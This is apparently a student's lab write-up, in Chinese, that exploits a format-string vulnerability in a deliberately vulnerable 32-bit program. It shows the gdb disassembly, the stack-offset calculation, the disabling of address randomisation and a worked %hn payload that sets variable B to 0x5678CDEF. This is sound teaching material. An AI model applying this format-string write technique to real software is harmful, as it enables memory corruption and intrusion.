题目:在32位的ubuntu16.04运行环境下,对格式化漏洞程序vul_formatstr2.c,参照 12.2.4的方法,说明如何修改程序,将变量B的值改成0x5678CDEF。
在Ubuntu 64位系统上,使用以下命令来安装gcc多架构编译器和32位库:
sudo apt-get install gcc-multilib libc6-dev-i386
在编译C程序时,使用-m32
选项来生成32位的可执行文件。例如:
gcc -m32 -o v2 vul_formatstr2.c
azureuser@MyServer:~/hw$ gdb v2
1 0x0000122d <+0>: endbr32
2 0x00001231 <+4>: push %ebp
3 0x00001232 <+5>: mov %esp,%ebp
4 0x00001234 <+7>: push %ebx
5 0x00001235 <+8>: sub $0x414,%esp
6 0x0000123b <+14>: call 0x1130 <__x86.get_pc_thunk.bx>
7 0x00001240 <+19>: add $0x2d8c,%ebx
8 0x00001246 <+25>: mov %gs:0x14,%eax
9 0x0000124c <+31>: mov %eax,-0xc(%ebp)
10 0x0000124f <+34>: xor %eax,%eax
11 0x00001251 <+36>: movl $0x3435,-0x418(%ebp)
12 0x0000125b <+46>: movl $0x5657,-0x414(%ebp)
13 0x00001265 <+56>: movl $0x7879,-0x410(%ebp)
14 0x0000126f <+66>: lea -0x410(%ebp),%eax
15 0x00001275 <+72>: push %eax
16 0x00001276 <+73>: lea -0x414(%ebp),%eax
17 0x0000127c <+79>: push %eax
18 0x0000127d <+80>: lea -0x418(%ebp),%eax
19 0x00001283 <+86>: push %eax
20 0x00001284 <+87>: lea -0x1fc4(%ebx),%eax
21 0x0000128a <+93>: push %eax
22 0x0000128b <+94>: call 0x10a0 <printf@plt>
23 0x00001290 <+99>: add $0x10,%esp
24 0x00001293 <+102>: mov -0x410(%ebp),%ecx
25 0x00001299 <+108>: mov -0x414(%ebp),%edx
26 0x0000129f <+114>: mov -0x418(%ebp),%eax
27 0x000012a5 <+120>: push %ecx
28 0x000012a6 <+121>: push %edx
29 0x000012a7 <+122>: push %eax
30 0x000012a8 <+123>: lea -0x1fab(%ebx),%eax
31 0x000012ae <+129>: push %eax
32 0x000012af <+130>: call 0x10a0 <printf@plt>
33 0x000012b4 <+135>: add $0x10,%esp
34 0x000012b7 <+138>: sub $0xc,%esp
35 0x000012ba <+141>: lea -0x1f94(%ebx),%eax
36 0x000012c0 <+147>: push %eax
37 0x000012c1 <+148>: call 0x10c0 <puts@plt>
38 0x000012c6 <+153>: add $0x10,%esp
39 0x000012c9 <+156>: sub $0x8,%esp
40 0x000012cc <+159>: lea -0x40c(%ebp),%eax
41 0x000012d2 <+165>: push %eax
42 0x000012d3 <+166>: lea -0x1f7d(%ebx),%eax
43 0x000012d9 <+172>: push %eax
44 0x000012da <+173>: call 0x10e0 <__isoc99_scanf@plt>
45 0x000012df <+178>: add $0x10,%esp
46 0x000012e2 <+181>: sub $0xc,%esp
47 0x000012e5 <+184>: lea -0x40c(%ebp),%eax
48 0x000012eb <+190>: push %eax
49 0x000012ec <+191>: call 0x10a0 <printf@plt>
50 0x000012f1 <+196>: add $0x10,%esp
51 0x000012f4 <+199>: sub $0xc,%esp
52 0x000012f7 <+202>: lea -0x1f7a(%ebx),%eax
53 0x000012fd <+208>: push %eax
54 0x000012fe <+209>: call 0x10c0 <puts@plt>
55 0x00001303 <+214>: add $0x10,%esp
56 0x00001306 <+217>: mov -0x410(%ebp),%ecx
57 0x0000130c <+223>: mov -0x414(%ebp),%edx
58 0x00001312 <+229>: mov -0x418(%ebp),%eax
59 0x00001318 <+235>: push %ecx
60 0x00001319 <+236>: push %edx
61 0x0000131a <+237>: push %eax
62 0x0000131b <+238>: lea -0x1f78(%ebx),%eax
63 0x00001321 <+244>: push %eax
64 0x00001322 <+245>: call 0x10a0 <printf@plt>
65 0x00001327 <+250>: add $0x10,%esp
66 0x0000132a <+253>: nop
67 0x0000132b <+254>: mov -0xc(%ebp),%eax
68 0x0000132e <+257>: xor %gs:0x14,%eax
69 0x00001335 <+264>: je 0x133c <formatstr_vul+271>
70 0x00001337 <+266>: call 0x13f0 <__stack_chk_fail_local>
71 0x0000133c <+271>: mov -0x4(%ebp),%ebx
72 0x0000133f <+274>: leave
73 0x00001340 <+275>: ret
End of assembler dump.
(gdb) b *(formatstr_vul+191)
Breakpoint 1 at 0x12ec
(gdb) r
Starting program: /home/azureuser/hw/v2
&A=0xffffcde0 &B=0xffffcde4 C=0xffffcde8.
A=0x3435 B=0x5657 C=0x7879.
Please enter a string:
ABCD%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
Breakpoint 1, 0x565562ec in formatstr_vul () (gdb) x/x $esp 0xffffcdd0: 0xffffcdec (gdb) p (0xbfffcdec-0xbfffcdd0)/4 $1 = 7
因此,user_input的首地址为0xffffcdec,位于栈顶开始的第7个(4字 节)单元。
关闭地址随机化机制:
sudo sysctl -w kernel.randomize_va_space=0
根据上面可知 &B=0xffffcde4=4294954468
1azureuser@MyServer:~/hw$ ./read2file
2Please enter an address.
34294954468
4Please enter the format string:
5%08x.%08x.%08x.%08x.%08x.%08x.%08x.
6The string length is 39
7azureuser@MyServer:~/hw$ ./v2 < mystring
8&A=0xffffce30 &B=0xffffce34 C=0xffffce38.
9A=0x3435 B=0x5657 C=0x7879.
10Please enter a string:
11����ffffce3c.00005657.00007879.00003435.00005657.00007879.ffffcde4.
12New values A=0x3435 B=0x5657 C=0x7879.
变量B的地址送入堆栈,&B=0xffffce34 =4294954548
编译 read2file2.c
azureuser@MyServer:~/hw$ gcc -m32 -o read2file2 read2file2.c
0xCDEF - 5*9 - 12 = 52662 0x5678 - 0xCDEF = -30583
当尝试计算0x5678 - 0xCDEF
时得到了负数,这是因为0x5678
小于0xCDEF
。为了解决这个问题,可以利用无符号整数的环绕性质。
将负数-30583
视为一个大的正数。具体来说,将-30583
添加到2^16
(即65536
,因为%hn
写入的是16位值)来得到一个正数:
65536−30583=34953
使用34953
作为%hn
的值来代替-30583
。
得到字符串:
%08x.%08x.%08x.%08x.%08x.%.52662u%hn%.34953u%hn.%08x.%08x.
命令行输入到文件mystring中
1azureuser@MyServer:~/hw$ ./read2file2
2Please enter an address.
34294954548
4Please enter the format string:
5%08x.%08x.%08x.%08x.%08x.%.52662u%hn%.34953u%hn.%08x.%08x.
6The string length is 70
将文件mystring作为输入重定向到漏洞程序,并将输出定向到 文件result.txt中:
1azureuser@MyServer:~/hw$ ./v2 < mystring > result.txt
2azureuser@MyServer:~/hw$ tail -n 1 result.txt
3New values A=0x3435 B=0x5678cdef C=0x7879.